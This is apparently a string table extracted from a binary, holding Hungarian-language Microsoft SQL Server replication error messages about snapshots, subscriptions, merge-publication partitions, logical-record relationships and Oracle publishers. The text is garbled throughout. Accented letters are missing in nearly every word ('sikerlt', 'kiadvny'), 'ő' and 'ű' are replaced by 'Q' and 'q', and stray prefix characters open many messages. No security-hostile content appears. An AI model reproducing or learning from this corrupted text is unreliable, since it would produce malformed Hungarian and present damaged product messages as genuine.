Nem sikerlt felvenni a(z)  %1!s!  szqrQt, mert mr ltrejtt egy pillanatkp. Ha mgis ezt szeretn tenni, lltsa 1-re a @force_invalidate_snapshot paramtert a meglvQ pillanatkp rvnytelentshez.

Nem sikerlt felvenni a(z)  %1!s!  szqrQt, mert vannak aktv elQfizetsek. Ha mgis ezt szeretn tenni, lltsa 1-re a @force_reinit_subscription paramtert az aktv elQfizetsek jrainicializlshoz.

Az ttltsi kiszolgl megadott nevben a kvetkezQ rvnytelen karakter szerepel:  %1!s! .

Az Active Directory cmtrszolgltatsbl nem sikerlt eltvoltani a kvetkezQ kiadvnyt:  %1!s! .

A megadott jraszinkronizlsi dtum ( %1!s! ) nem egy rvnyes dtum.

$A(z)  %1!s!  szqrQt nem lehet eldobni a(z)  %2!s!  kiadvnybl, mert a pillanatkpe mr lefutott, s ennek a kiadvnynak lehetnek aktv elQfizetsei. Az sszes elQfizets jrainicializlshoz s a szqrQ eldobshoz lltsa 1-re a @force_reinit_subscription paramtert.

PA kvetkezQ adatbzis megnyitsa sikertelen volt: %1!s!. Nem sikerlt frissteni a replikcis belltsokat s a rendszerobjektumokat. Ha replikcihoz hasznljk az adatbzist, akkor futtassa az sp_vupgrade_replication trolt eljrst a [master] adatbzisban, amikor az adatbzis elrhetQ.

PA kvetkezQ adatbzis megnyitsa sikertelen volt: %1!s!. Nem sikerlt frissteni a replikcis belltsokat s a rendszerobjektumokat. Ha replikcihoz hasznljk az adatbzist, akkor futtassa az sp_vupgrade_replication trolt eljrst a [master] adatbzisban, amikor az adatbzis elrhetQ.

tNem sikerlt megnyitni a(z) %1!s! terjesztsi adatbzist, mert offline llapotban van, vagy pedig ppen javts alatt ll. A replikcis belltsok s a rendszerobjektumok nem frissthetQk. Gondoskodjon arrl, hogy az adatbzis elrhetQ legyen, majd futtassa jra az sp_vupgrade_replication trolt eljrst.

A(z)  %1!s!  cikket nem lehet eldobni a(z)  %2!s!  kiadvnybl, mert mr ltrejtt egy pillanatkp. Ha mgis ezt szeretn tenni, lltsa 1-re a @force_invalidate_snapshot paramtert a meglvQ pillanatkp rvnytelentshez.

\IdQblyegzQ-oszlop nem vehetQ fel az jrainicializls knyszertse nlkl. Az jrainicializls knyszertshez lltsa 1-re a @force_reinit_subscription paramtert.

A(z)  %1!s!  tblzatba nem vehetQ fel oszlop, illetve nem trlhetQ onnan, mert a tbla aktv, frissthetQ elQfizetssel rendelkezQ kiadvny(ok)hoz tartozik. Az jrainicializls knyszertshez lltsa 1-re a @force_reinit_subscription paramtert.

A(z)  %1!s!  szqrQt nem lehet eldobni, mert mr ltrejtt egy pillanatkp. Ha mgis ezt szeretn tenni, lltsa 1-re a @force_invalidate_snapshot paramtert a meglvQ pillanatkp rvnytelentshez.

Nem lehet engedlyezni egyestses kiadvnyt ezen a kiszolgln, mert a hozz tartoz terjesztQ munkaknyvtra nem hasznl UNC-tvonalat.

A megadott elQfizets nem ltezik, vagy mg nem lett szinkronizlva.

(A pillanatkp nem tudta feldolgozni a kvetkezQ kiadvnyt:  %1!s! . Valsznq okok: aktv smamdostsi tevkenysg vagy j cikkek felvtele.

Nem sikerlt a smamdosts a kvetkezQ objektumon:  %1!s! . Valsznq okok: aktv pillanatkp vagy ms smamdostsi tevkenysg.

Az egyik cikk bQvtett dinamikus pillanatkp nzetdefincija meghaladja a rendszerben rvnyes 3499 karakteres korltot. rdemes az alaprtelmezett megoldst hasznlni a dinamikus pillanatkp helyett a megadott elQfizets inicializlsra.

rvnytelen a sorszqrQ (%1!s!) az oszloppartcinl (%2!s!), cikk:  %3!s! , kiadvny:  %4!s! .

TA program eldobja a sorszqrQt (%1!s!), cikk:  %2!s! , hely:  %3!s! . SorszqrQ ltrehozshoz futtassa jra az sp_articlefilter s az sp_articleview trolt eljrst.

Xrvnytelen smabellts lett megadva a frisstQ elQfizetQket engedlyezQ kiadvny szmra. A smabelltst gy kell megadni, hogy tartalmazza a DRI-korltozsokat.

rvnytelen az sp_addsubscriber trolt eljrs @type paramternek, illetve az sp_addsubscription trolt eljrs @subscriber_type paramternek rtke. Az rvnyes rtkek listjt az SQL Server online knyveiben tallhatja meg.

$A terjesztQn nem llnak rendelkezsre azok a tranzakcik, amelyek a megadott biztonsgi msolatbl ltrejtt nem szinkron elQfizets szinkronizlshoz szksgesek. Prblja jbl elvgezni a mqveletet egy frissebb napl-, klnbzeti vagy teljes biztonsgi msolattal.

Nem sikerlt a nem szinkron elQfizets belltsnak befejezse a terjesztQn a terjeszts tiszttsi gynknek futsa alatt. A mqvelet nagyobb esllyel sikerl, ha a terjeszts tiszttsi gynkt tmenetileg letiltjk.

TA terjesztQ nem llnak rendelkezsre azok a tranzakcik, amelyek a megadott naplsorszm (LSN) elQfizets szinkronizlshoz szksgesek. Adjon meg magasabb LSN-t.

A(z)  %1!s!  cikk cikktulajdonsgt mdostani kell az eredeti kzztevQn.

DA cikk neve nem lehet  all .

lHelytelen rtkq a kvetkezQ paramter:  %1!s! .

Nem sikerlt ltrehozni az elQfizetst. Ha  initialize with backup  rtket ad a @sync_type paramternek, akkor a kiadvnyban lvQ sszes cikkre elQ kell fizetnie oly mdon, hogy  all  rtket ad a @article paramternek.

4Nem sikerlt ltrehozni az elQfizetst. A @status paramternek a kvetkezQ rtkek egyikt kell adnia:  Active  vagy  Subscribed . Ennek az az oka, hogy a @sync_type paramter szmra megadott rtk a kvetkezQk egyike:  initialize with backup  vagy  replication support only .

A kvetkezQ kt paramter kzl csak az egyiket lehet megadni: %1!s!, %2!s!.

PPillanatkpgynk indtsi zenete

PTerjesztsi gynk indtsi zenete

PEgyestsi gynk indtsi zenete

Nem sikerlt megszerezni a vrakozsi sor elejt jelzQ alkalmazszrolst.

dVrakozsisor-olvas gynk indtsi zenete

\Vagy nem ltezik a(z)  %1!s!  kiadvny, vagy nnek nincs megfelelQ engedlye a kiadvnyhoz val hozzfrsre. GyQzQdjn meg arrl, hogy a kiadvny ltezik, valamint hogy a kiadvny-hozzfrsi listn (PAL) szerepel az a felhasznli fik, amellyel az egyestsi gynk kapcsoldik a kzztevQhz.

SQL Server kzztevQk esetn a @publisher paramter ktelezQ rtke: NULL.

Heterogn kzztevQk esetn a @publisher paramter rtke nem lehet NULL.

Nem ltezik megosztott gynk-elQfizets a(z)  %1!s!  kiadvnyra s az elQfizetQ / elQfizetQi adatbzis prra ( %2!s!  /  %3!s! ).

LA(z) %1!s! replikci nem frissthetQ %2!s! adatbzisok esetn. Gondoskodjon arrl, hogy a(z) %3!s! frisstve legyen, s hajtsa vgre jbl a kvetkezQt: %4!s!.

A(z) %1!s! %2!s! (%3!s!) bejelentkezsi azonost (%4!s!) jelszava mdosult.

A terjesztQn vgre kell hajtani az sp_MStran_is_snapshot_required belsQ eljrst, ha a @run_at_distributor paramter rtke 1. Ha a problma tartsan fennll, forduljon a Microsoft gyfl-tmogatsi szolglathoz.

Nem rvnyes a kvetkezQ paramter szmra megadott rtk: %1!s!.

A(z)  %1!s!  forrstbla elsQdleges kulcsa tartalmazza a kvetkezQ idQblyegzQ-oszlopot:  %2!s! . Nem lehet ltrehozni a cikket a megadott kiadvnyhoz, mert az engedlyezi a frisstQ elQfizetQket.

Nem lehet replikcis elQfizets(eke)t ltrehozni a fQadatbzisban. ElQfizetsek ltrehozshoz vlasszon egy msik adatbzist.

Csak a(z)  %2!s!  adatbzisban hajthat vgre a kvetkezQ: %1!s!.

Cikkrvnyestst krtek a kvetkezQ pillanatkp-kiadvnyra:  %1!s! . A cikkrvnyests csak tranzakcis kiadvnyok esetn hasznlhat.

NyomkvetQ jogkivonatok nem kldhetQk el pillanatkp-kiadvny esetn.

Hiba trtnt a nyomkvetsi jogkivonat elQzmnyadatainak naplzsa kzben. Nem sikerlt elkldeni a nyomkvetsi jogkivonatot.

Hiba trtnt a nyomkvetsi jogkivonat naplba val beszrsa kzben. Nem sikerlt elkldeni a nyomkvetsi jogkivonatot.

Nem tallhatk aktv elQfizetsek. A kiadvnynak aktv elQfizetsekkel kell rendelkeznie a nyomkvetsi jogkivonatok kldshez.

 A(z)  %1!s!  adatbzis mr ltezik. Ha ezt szeretn hasznlni terjesztsi adatbzisknt, adja meg a kvetkezQ belltst: @existing_db = 1.

8Az sp_mergearticlecolumn trolt eljrs  %1!s!  paramternek  %2!s!  rtkqnek kell lennie. A  true  rtk csak akkor engedlyezett, amikor msik replikcis eljrs hvja meg ezt az eljrst. A @schema_replication paramtert lltsa  false  rtkqre, vagy ne adjon meg rtket.

A(z) %1!s! eljrs nem tudja vgrehajtani a(z) %2!s! mqveletet a kvetkezQ erQforrson: %3!s!. Kiszolglhiba = %4!s!.

%1!s!: A(z) %2!s! paramter rvidebb az elQrt minimlis mretnl.

PNem lehet vgrehajtani a krt mqveletet az elQfizetsi adatbzisban, mert egy pillanatkp kldse van folyamatban az adatbzisba. KsQbb hajtsa vgre jbl a mqveletet. A pillanatkp kldsnek lelltshoz lltsa le az elQfizetshez tartoz terjesztsi gynkt vagy egyestsi gynkt.

A replikcis egyni eljrsok nem lesznek parancsprogrammal ltrehozva, mert a megadott  %1!s!  kiadvny pillanatkp-kiadvny.

Nhny ltrehozsi rtk az SQL Server 2000 rendszerben hasznlt felsQ hatrrtk (%1!s!) felett van. Mdostsa 90-re a kiadvny publication_compatibility_level belltsnak rtkt a mqvelet vgrehajtshoz.

 Ez a cikk nem hasznlhatja a(z)  %1!s!  szolgltatst, mert a kiadvny kompatibilitsi szintje kisebb, mint 90. Az sp_changemergepublication trolt eljrs hasznlatval adja meg az  90RTM  rtket a(z)  %2!s!  kiadvny publication_compatibility_level belltsnl.

DNem sikerlt felvenni a(z)  %1!s!  oszlopot a kvetkezQ tblba:  %2!s! . A cikkeknek legalbb %3!s! oszlopbl kell llniuk, belertve a szqrt oszlopokat is.

xA kismretq msodpldnyoknak nvtelennek kell lennik.

A(z)  %1!s!  cikk mr hozz van rendelve egy elQfizetshez, amelynek @lightweight tulajdonsgban ms rtk van megadva.

A(z)  %1!s!  kiadvny nem vehetQ fel a(z)  %2!s!  adatbzisba, mert mr ltezik egy alacsonyabb kompatibilitsi szintq kiadvny. Az adatbzisban minden egyestendQ kiadvnynak azonos kompatibilitsi szintqnek kell lennie.

A(z)  %1!s!  kiadvny nem vehetQ fel a(z)  %2!s!  adatbzisba, mert mr ltezik egy magasabb kompatibilitsi szintq kiadvny. Az adatbzisban minden egyestendQ kiadvnynak azonos kompatibilitsi szintqnek kell lennie.

A(z)  %1!s!  cikk mr kzz van tve egy msik kiadvnyban, s nem tfedQ partcik hasznlatra van belltva, partcinknt tbb elQfizetQvel (@partition_options = 2). Ez a bellts nem engedlyezi a cikk tbb partciba val felvtelt.

A(z)  %2!s!  tbla  %1!s!  oszlopa klsQkulcs-kapcsolatban van a(z)  %3!s!  tbla egyik oszlopval, de ez az oszlop nem tallhat a megadott illesztsi zradkban. A tblk kztti logikairekord-kapcsolatnak kell tartalmaznia ezt az oszlopot.

A(z)  %1!s!  tbla szlQje nem lehet a(z)  %2!s!  tbla a logikairekord-kapcsolatban, ha mr van msik szlQtblja. A logikairekord-kapcsolatok csak egy szlQtblt engedlyeznek egy gyermektblhoz.

A @filter_type paramter ltal megadott logikairekord-kapcsolat  egy az egyhez  vagy  egy a tbbhz  illesztst ignyel a szlQtbltl a gyermektblhoz. Mdostsa a @filter_type paramter rtkt, vagy lltsa 1 rtkqre a @join_unique_key paramtert.

(Nem lehet eldobni olyan oszlopot, amely egyedi azonost adattpusknt lett megadva a rowguidcol tulajdonsggal, mert az egyestses replikci nyomkvetshez hasznlja ezt az oszlopot. Az oszlop eldobshoz elQbb dobja el a tblt az sszes kiadvnybl s elQfizetsbQl.

DNem lehet vgrehajtani az ALTER TABLE parancsot. Az  ALTER TABLE table_name DISABLE TRIGGER ALL  parancsot ne hajtsa vgre kzztett tbln. Tbb  ALTER TABLE table_name DISABLE TRIGGER trigger_name  utasts jbli vgrehajtsval tiltsa le kln-kln az adott tbla esemnyindtit.

Kiszolglhiba (%1!s!) fordult elQ a kvetkezQ vgrehajtsa kzben: <%2!s!>.

A(z) %1!s! cikk smja helytelenl van ltrehozva, vagy helytelenl volt alkalmazva az elsQ szinkronizls sorn. Ezt az engedlyekkel kapcsolatos problmk okozhatjk. EllenQrizze, hogy ltezik-e az objektum, s meg vannak-e adva a szksges engedlyek.

DNem lehet letiltani a kzztett tblk egyestses replikcija ltal hasznlt esemnyindtt. Az esemnyindt eldobshoz dobja el a tblt a kiadvnybl.

Az ALTER TABLE parancs nem repliklhat. Tbb DROP utastst tartalmaz, belertve egy olyan oszlop DROP parancst, amely nem szerepel a cikk sszes elQfizetsben. Hasznljon egy DROP parancsot minden ALTER TABLE parancsban.

Kiszolglhiba (%1!s!) fordult elQ a kvetkezQ adatbzis napljnak visszalltsa kzben: %2!s!.

Az sp_change_subscription_properties trolt eljrs nem hajthat vgre. Ez a trolt eljrs csak olyan kiadvnyokhoz hasznlhat, amelyek rendelkeznek legalbb egy lekrses elQfizetssel.

lA szmtott  %1!s!  oszlop nem vehetQ fel a kiadvnyba. ElQbb fel kell vennie az sszes olyan oszlopot, amelytQl ez az oszlop fgg, a cikkbQl egyik ilyen oszlopot sem szqrheti.

MielQtt eldobja az oszlopot a kiadvnybl, el kell dobnia a(z)  %1!s!  oszloptl fggQ sszes szmtott oszlopot.

Ezt a mqveletet csak a sysadmin, a db_owner vagy a db_ddladmin szerepkr tagjai hajthatjk vgre.

Hiba az egyestsi adatdefincis nyelvben (DDL): SorszqrQben vagy illesztsi szqrQben hasznlt oszlop eldobsa nem engedlyezett. SorszqrQben hasznlt oszlop eldobshoz elQbb mdostsa a sorszqrQt az sp_changemergearticle trolt eljrs hasznlatval. Illesztsi szqrQben hasznlt oszlop eldobshoz elQbb dobja el az illesztsi szqrQt az sp_dropmergefilter trolt eljrs hasznlatval.

A kvetkezQ paramterhez megadott rtk rvnytelen: %1!s! = %2!s!. 

 A(z) %1!s! tbla a replikci ltal hasznlt msrepl_tran_version oszlopot tartalmazza. Az oszlop NULL rtkqre van belltva, de NOT NULL rtkqre kell belltani. A replikci nem tudta megvltoztatni ezt az oszlopot, ezrt el kell dobnia az oszlopot, majd ismt fel kell vennie a tblt cikknt az sp_addarticle trolt eljrs hasznlatval. A replikci ezutn felveszi az oszlopot a tblba.

\A VCALL hvsi formtum nem hasznlhat a megadott cikkhez. A VCALL formtum csak a kiadvnyok olyan cikkeihez hasznlhat, amelyek engedlyezik az elQfizetsek frisstst. Ha nincs szksge az elQfizetsek frisstsre, adjon meg ms hvsi formtumot. Ha szksge van az elQfizetsek frisstsre, el kell dobnia a kiadvnyt, s jbl ltre kell hoznia azt annak megadshoz, hogy az elQfizetsek frisstse engedlyezett.

A(z) %2!s! kiadvnyban lvQ %1!s! cikkhez nem tartozik rvnyes tkzsitbla-bejegyzs a sysarticleupdates rendszertblban. Ez a bejegyzs szksges az olyan kiadvnyok szmra, amelyek engedlyezik a vrakozsi sorba helyezst az elQfizetsek frisstsekor. EllenQrizze, hogy trtntek-e hibk a pillanatkp-kezelQ gynk utols futtatsa sorn.

Nem lehet ltrehozni a logikairekord-kapcsolatot. A(z)  %1!s!  tblnak nincs a(z)  %2!s!  tblra hivatkoz klsQ kulcsa. A logikairekord-kapcsolat klsQkulcs-kapcsolatot ignyel a szlQtbla s a gyermektblk kztt.

<Nem lehet ltrehozni a logikairekord-kapcsolatot a(z)  %1!s!  kiadvnyban. A kiadvny use_partition_groups belltsnak  true  rtkqnek kell lennie a logikai rekordok hasznlathoz. Az sp_changemergepublication trolt eljrs hasznlatval mdostsa  true  rtkqre a belltst.

Nem lehet felvenni logikairekord-kapcsolatot, mert a(z)  %2!s!  tbla  %1!s!  klsQkulcs-korltozsa le van tiltva. A logikairekord-kapcsolat ltrehozshoz elQbb engedlyezze a klsQkulcs-korltozst.

lNem lehet felvenni logikairekord-kapcsolatot, mert a(z)  %2!s!  tbla  %1!s!  klsQkulcs-korltozsa a NOT FOR REPLICATION belltssal van definilva. A logikairekord-kapcsolat ltrehozshoz elQbb dobja el a klsQkulcs-korltozst, majd hozza ltre jbl a NOT FOR REPLICATION bellts megadsa nlkl.

XNem lehet felvenni logikairekord-kapcsolatot, mert a(z)  %1!s!  cikk a(z)  %2!s!  kiadvnyban van kzztve, amelynek kompatibilitsi szintje alacsonyabb, mint 90RTM. Az sp_changemergepublication trolt eljrs hasznlatval mdostsa a publication_compatibility_level belltst 90RTM rtkqre.

A filter_type tulajdonsg megadott rtke rvnytelen. Az rvnyes rtkek: 1 (csak illesztsi szqrQ), 2 (csak logikairekord-kapcsolat) s 3 (illesztsi szqrQ s logikairekord-kapcsolat).

Nem lehet logikairekord-kapcsolatot felvenni a(z)  %1!s!  s a(z)  %2!s!  tbla kztt, mert a(z)  %4!s!  tbla  %3!s!  klsQkulcs-oszlopa engedlyezi a NULL rtkeket. Mdostsa gy az oszlopot, hogy ne engedlyezze a NULL rtkeket.

A partition_options bellts 2 rtknek (nem tfedQ partcik tbb elQfizetssel partcinknt) vagy 3 rtknek (nem tfedQ partcik egy elQfizetssel partcinknt) hasznlathoz a(z)  %1!s!  kiadvnyban engedlyezni kell a partcicsoportok funkcijnak hasznlatt. Az sp_changemergepublication trolt eljrs hasznlatval adja meg  true  rtket a  use_partition_groups  belltsnl.

<A(z)  %2!s!  kiadvnyban szereplQ  %1!s!  cikk nem felel meg a megadott partcibelltsnak. Nem adhat 2 vagy 3 rtk (egymst nem tfedQ partcik) a @partition_options paramternek, mert a cikk tbb illesztsi szqrQben is szerepel. Vagy adjon 0 vagy 1 rtket a @partition_options paramternek, vagy az sp_dropmergefilter trolt eljrs hasznlatval dobja el egy kivtelvel az sszes illesztsi szqrQt.

A(z)  %2!s!  kiadvnyban szereplQ  %1!s!  cikk nem felel meg a megadott partcibelltsnak. Nem adhat 2 vagy 3 rtk (egymst nem tfedQ partcik) a @partition_options paramternek, mert a cikk egy sorszqrQben s egy illesztsi szqrQben is szerepel. Vagy adjon 0 vagy 1 rtket a @partition_options paramternek, vagy az sp_dropmergefilter trolt eljrs hasznlatval dobja el az illesztsi szqrQt, vagy az sp_changemergepublication trolt eljrs hasznlatval mdostsa a sorszqrQt.

lA(z)  %2!s!  kiadvnyban szereplQ  %1!s!  cikk nem felel meg a megadott partcibelltsnak. Nem adhat 2 vagy 3 rtk (egymst nem tfedQ partcik) a @partition_options paramternek, mert a cikkhez olyan illesztsi szqrQ tartozik, amelyben a join_unique_key rtk 0. Vagy adjon 0 vagy 1 rtket a @partition_options paramternek, vagy az sp_changemergefilter trolt eljrs hasznlatval lltsa be 1-re a join_unique_key rtket.

A(z)  %2!s!  kiadvnyban szereplQ  %1!s!  cikk nem felel meg a megadott partcibelltsnak. Nem adhat 2 vagy 3 rtk (egymst nem tfedQ partcik) a @partition_options paramternek, mert a cikk kzvetlen vagy kzvetett illesztsi szqrQs kapcsolatban ll a kvetkezQ szlQcikkel:  %3!s! . A szlQcikk nem ugyanazt a partition_options rtket hasznlja. A sp_changemergepublication trolt eljrs hasznlatval mdostsa az rtket az egyik cikknl.

Nem lehet frissteni az oszlopot a kvetkezQ cikkben:  %1!s! . A cikk partition_options tulajdonsgnak rtke 2 vagy 3 (nem tfedQ partcik), s az oszlop sorszqrQhz vagy illesztsi szqrQhz tartozik. Ilyen esetben az oszlop nem frissthetQ az elQfizetQknl vagy az jbli kzzttelt vgrehajtnl. Az oszlopot a legfelsQ szintq kzztevQnl kell frissteni.

Nem lehet beszrni a(z)  %1!s!  cikk sort. A sor nem tartozik az elQfizetQ partcijhoz, s a cikk partition_options tulajdonsgnak rtke 2 vagy 3 (nem tfedQ partcik). Nem tfedQ partcik hasznlata esetn nem engedlyezett a partcin kvli beszrs.

Nem lehet megadni egyni cikkrendezst a(z)  %1!s!  kiadvnyban, mert a kiadvny kompatibilitsi szintje alacsonyabb, mint 90RTM. Az sp_changemergepublication trolt eljrs hasznlatval mdostsa a publication_compatibility_level belltst 90RTM rtkqre.

A cikk csak a rowguidcol oszlopot tartalmazza. Legalbb egy tovbbi oszlopot kzz kell tennie.

$A replikci ltal ltrehozott DDL-esemnyindtk mdostsa nem engedlyezett, mert ezekre a DDL-vltozsok nyomon kvetshez van szksg.

@A @article s a @join_articlename paramter rtke nem lehet azonos. Adjon meg klnbzQ cikkeket a kt paramterhez; az nillesztsek nem engedlyezettek.

@Nem tallhat a nem SQL Server [%1!s!] kzztevQ. Az elrhetQ kzztevQk listjnak megtekintshez hajtsa vgre az sp_helpdistpublishers trolt eljrst.

A @type paramternek  logbased  rtkqnek kell lennie az Oracle-kiadvnyok esetben.

Nem sikerlt a(z)  %1!s!  Oracle-kiadvny frisstse az sp_refresh_heterogeneous_publisher trolt eljrssal. A rendszer megQrizte az Oracle-kzztevQ hiballapotnak metaadatait, amelyek felhasznlhatk a hiba oknak megllaptshoz. A problma meghatrozsa s megoldsa utn a frissts befejezshez futtassa jbl az sp_refresh_heterogeneous_publisher trolt eljrst.

tA nem SQL Server-kzztevQ forgalmazja rvnytelen. Prblja meg jbl felvenni a kzztevQt. Ha a problma tartsan fennll, forduljon a Microsoft gyfl-tmogatsi szolglathoz.

lA nem SQL Server-kzztevQket a terjesztsi adatbzis krnyezetben kell konfigurlni. Hajtsa vgre az sp_adddistpublisher trolt eljrst a terjesztsi adatbzis krnyezetben.

4A(z)  %1!s!  paramter csak a nem SQL Server-kzztevQkre vonatkozik. A paramternek  %2!s!  rtkqnek kell lennie az SQL Server-kzztevQk esetben.

 Az sp_refresh_heterogeneous_publisher trolt eljrs nem tudta megszerezni a(z)  %1!s!  Oracle-kzztevQ adatait. Lehetsges, hogy az sp_refresh_heterogeneous_publisher trolt eljrs csak a terjesztQnl jelenleg definilt Oracle-kzztevQk frisstshez hvhat meg.

,A @ignore_distributor paramterhez nem hasznlhat a TRUE rtk. A paramternek FALSE rtkqnek kell lennie a nem SQL Server-kzztevQk esetben.

DA SQL Server-kiadvnyok nem tmogatjk a frissthetQ elQfizetseket. Az allow_sync_tran s az allow_queued_tran tulajdonsgnak  false  rtkqnek kell lennie.

Az sp_refresh_heterogeneous_publisher trolt eljrs megprblta frissteni a(z)  %1!s!  kzztevQt, de a ksrlet sikertelen volt, s a trolt eljrs nem mdostott semmilyen metaadatot az Oracle-kzztevQnl. GyQzQdjn meg arrl, hogy a megfelelQ Oracle-kzztevQt azonostotta, s eleget tett az Oracle-kzztevQk frisstsre vonatkoz kvetelmnyeknek.

A(z)  %1!s!  terjesztsi kzztevQ nem dobhat el, mert definilt kiadvnyok tartoznak hozz. ElQbb dobja el a kiadvnyokat.

A nem SQL Server-kzztevQk esetben a @sync_method paramternek  character  vagy  concurrent_c  rtkqnek kell lennie.

A korltoz  %1!s!  oszlop nem tallhat a(z)  %2!s!  tblban.

A(z)  %1!s!  indexoszlop nem tallhat a(z)  %2!s!  tblban.

Nem tallhatk a(z) %1!s! cikk tblaadatai. Lehet, hogy megsrlt a helyi terjesztsi gyorsttr.

,A(z) [%1!s!] oszlop nem tallhat a cikkben. EllenQrizze, hogy az oszlop ltezik-e az alapul szolgl tblban, s hogy fel van-e vve a cikkbe.

xNem lehet futtatni az SQL*PLUS segdprogramot. GyQzQdjn meg arrl, hogy a terjesztQn az Oracle-gyflkd aktulis verzija van teleptve. Tovbbi tjkoztatst az SQL Server 21617-es szm hibjt ismertetQ rszben tall az SQL Server online knyvek Oracle-kzztevQk problmamegoldsval foglalkoz cikkben.

A(z)  %1!s!  kzztevQ nem ltezik. A kzztevQk listjnak megtekintshez hasznlja az sp_helpdistpublisher trolt eljrst.

A @SelectColumnList s a @InsColumnList paramtert is meg kell adni.

A rendszer Path vltozjval elrhetQ SQL*PLUS-verzi nem megfelelQ az Oracle-kzzttel tmogatshoz. GyQzQdjn meg arrl, hogy a terjesztQn az Oracle-gyflkd aktulis verzija van teleptve. Tovbbi tjkoztatst az SQL Server 21620-as szm hibjt ismertetQ rszben tall az SQL Server online knyvek Oracle-kzztevQk problmamegoldsval foglalkoz cikkben.

$Nem lehet ltrehozni a nyilvnos %1!s! szinonimt. EllenQrizze, hogy a replikcis rendszergazda rendelkezik-e a CREATE SYNONYM engedllyel.

4Nem lehet SELECT engedlyt adni a nyilvnos %1!s! szinonimnak. EllenQrizze, hogy a replikcis rendszergazda rendelkezik-e a megfelelQ engedllyel.

(Nem lehet frissteni a nyilvnos  MSSQLSERVERDISTRIBUTOR  szinonimt a(z)  %1!s!  Oracle-pldny SQL Server-kzztevQknt val megjellshez.

Az OraOLEDB.Oracle bejegyzett Oracle OLEDB-szolgltat nem tallhat a(z)  %1!s!  terjesztQnl. GyQzQdjn meg arrl, hogy a terjesztQnl az Oracle OLEDB-szolgltat aktulis verzija van teleptve s bejegyezve. Tovbbi tjkoztatst az SQL Server 21624-es szm hibjt ismertetQ rszben tall az SQL Server online knyvek Oracle-kzztevQk problmamegoldsval foglalkoz cikkben.

Nem lehet frissteni a HREPL_PUBLISHER kzztevQtblt a(z)  %1!s!  Oracle-pldnynl.

dNem lehet csatlakozni a(z)  %1!s!  Oracle adatbzis-kiszolglhoz az OraOLEDB.Oracle nevq Oracle OLEDB-szolgltat hasznlatval. Tovbbi tjkoztatst az SQL Server 21626-os szm hibjt ismertetQ rszben tall az SQL Server online knyvek Oracle-kzztevQk problmamegoldsval foglalkoz cikkben.

\Nem lehet csatlakozni a(z)  %1!s!  Oracle adatbzis-kiszolglhoz az MSDAORA nevq Microsoft OLEDB-szolgltat hasznlatval. Tovbbi tjkoztatst az SQL Server 21627-es szm hibjt ismertetQ rszben tall az SQL Server online knyvek Oracle-kzztevQk problmamegoldsval foglalkoz cikkben.

Nem lehet frissteni a(z)  %1!s!  belltsjegyzkt gy, hogy engedlyezze az OraOLEDB.Oracle nevq Oracle OLEDB-szolgltat futtatst az SQL Server rendszerrel egytt. GyQzQdjn meg arrl, hogy az aktulis bejelentkezsi azonost jogosult az SQL Server tulajdonban lvQ belltskulcsok mdostsra. Tovbbi tjkoztatst az SQL Server 21628-as szm hibjt ismertetQ rszben tall az SQL Server online knyvek Oracle-kzztevQk problmamegoldsval foglalkoz cikkben.

PNem tallhat a terjesztQnl az a CLSID belltskulcs, amely azt jelzi, hogy az OraOLEDB.Oracle nevq Oracle OLEDB-szolgltat be lett jegyezve. GyQzQdjn meg arrl, hogy az Oracle OLEDB-szolgltat teleptve van s be van jegyezve a terjesztQnl. Tovbbi tjkoztatst az SQL Server 21629-es szm hibjt ismertetQ rszben tall az SQL Server online knyvek Oracle-kzztevQk problmamegoldsval foglalkoz cikkben.

Nem lehet megllaptani, hogy a(z)  %1!s!  tbla mg mindig kzz van-e tve. Forduljon az gyfl-tmogatsi szolglathoz.

Nem lehet megszntetni a(z)  %1!s!  tbla kzzttelt; az Oracle-kzztevQ tvoli hvsa sikertelen. EllenQrizze, hogy a replikcis rendszergazda bejelentkezsi azonostjval lehet-e csatlakozni az Oracle-kzztevQhz az SQL*PLUS segdprogram hasznlatval. Ha sikerl csatlakozni, de a problma tartsan fennll, dobja el s lltsa be jbl az Oracle-kzzttelt.

$A(z) %1!s! paramter nem tmogatott a nem SQL Server-kiadvnyok esetben. A paramterhez megadott rtknek a kvetkezQnek kell lennie: %2!s!.

TA(z)  %1!s!  kiadvnyt nem lehet felvenni, mert a nem SQL Server-kzztevQk a @sync_method paramternl csak a  character  vagy a  concurrent_c  rtket tmogatjk.

4A(z) %1!s! paramter nem tmogatja a(z)  %2!s!  rtket a nem SQL Server-kiadvnyok hasznlata esetn. Az rtknek a kvetkezQnek kell lennie: %3!s!.

`A megadott smabellts-kombinci rvnytelen. A nem SQL Server-kiadvnyok csak a kvetkezQ smabelltsokat tmogatjk: 0x01, 0x02, 0x10, 0x40, 0x80, 0x4000 s 0x8000.

A(z) %1!s! megadsa ktelezQ a heterogn kiadvnyok esetben.

Az sp_addpublication trolt eljrs @repl_freq paramternek a kvetkezQ rtket adta meg:  %1!s! . A nem SQL Server-kiadvnyok esetben ez a kvetkezQ rtkek egyikt ignyli a @sync_method paramternl: %2!s!.

A heterogn kzztevQk nem hasznlhatnak megbzhat kapcsolatokat. lltsa  false  rtkqre a @trusted paramtert.

pA nem SQL Server-kzztevQk nem tmogatjk az 1 rtket a @thirdparty_flag paramternl. Az sp_adddistpublisher trolt eljrs vgrehajtsakor adja meg a 0 rtket a paramternek.

4A(z)  %1!s!  paramtert csak a nem SQL Server-kzztevQk hasznlhatjk. A paramternek NULL rtkqnek kell lennie az SQL Server-kzztevQk esetben.

dA heterogn kzztevQk csatolt kiszolglt ignyelnek. Mr ltezik  %1!s!  nevq csatolt kiszolgl. Tvoltsa el a csatolt kiszolglt, vagy vlasszon msik kzztevQnevet.

A(z)  %1!s!  paramterhez a kvetkezQ rtkek egyikt kell megadni: MSSQLSERVER, ORACLE vagy ORACLE GATEWAY.

A(z)  %2!s!  %1!s! rtke nem tmogatott a heterogn elQfizetQk esetben, az rtknek a kvetkezQnek kell lennie: %3!s!.

PA(z)  %1!s!  rtk nem rvnyes tpus nem SQL Server-kzztevQ. Az SQL Server 2005 rendszerben az rtknek a kvetkezQnek kell lennie: ORACLE vagy ORACLE GATEWAY.

xA(z) [%1!s!] Oracle-kiszolgl mr definilva van [%2!s!] kzztevQknt a kvetkezQ terjesztQnl: [%3!s!].[%4!s!]. Dobja el a kzztevQt vagy dobja el a nyilvnos szinonimt: [%5!s!].

|Nem lehet betlteni az Oracle-kzztevQ tmogatsi csomagjt. Dobja el a replikcis rendszergazda smjt, s hozza ltre jbl, gyelve arra, hogy megadja a dokumentlt engedlyeket.

A(z)  %1!s!  tulajdonsg nem vltoztathat meg. A nem SQL Server-kzztevQk nem tmogatjk ezt a tulajdonsgot. 

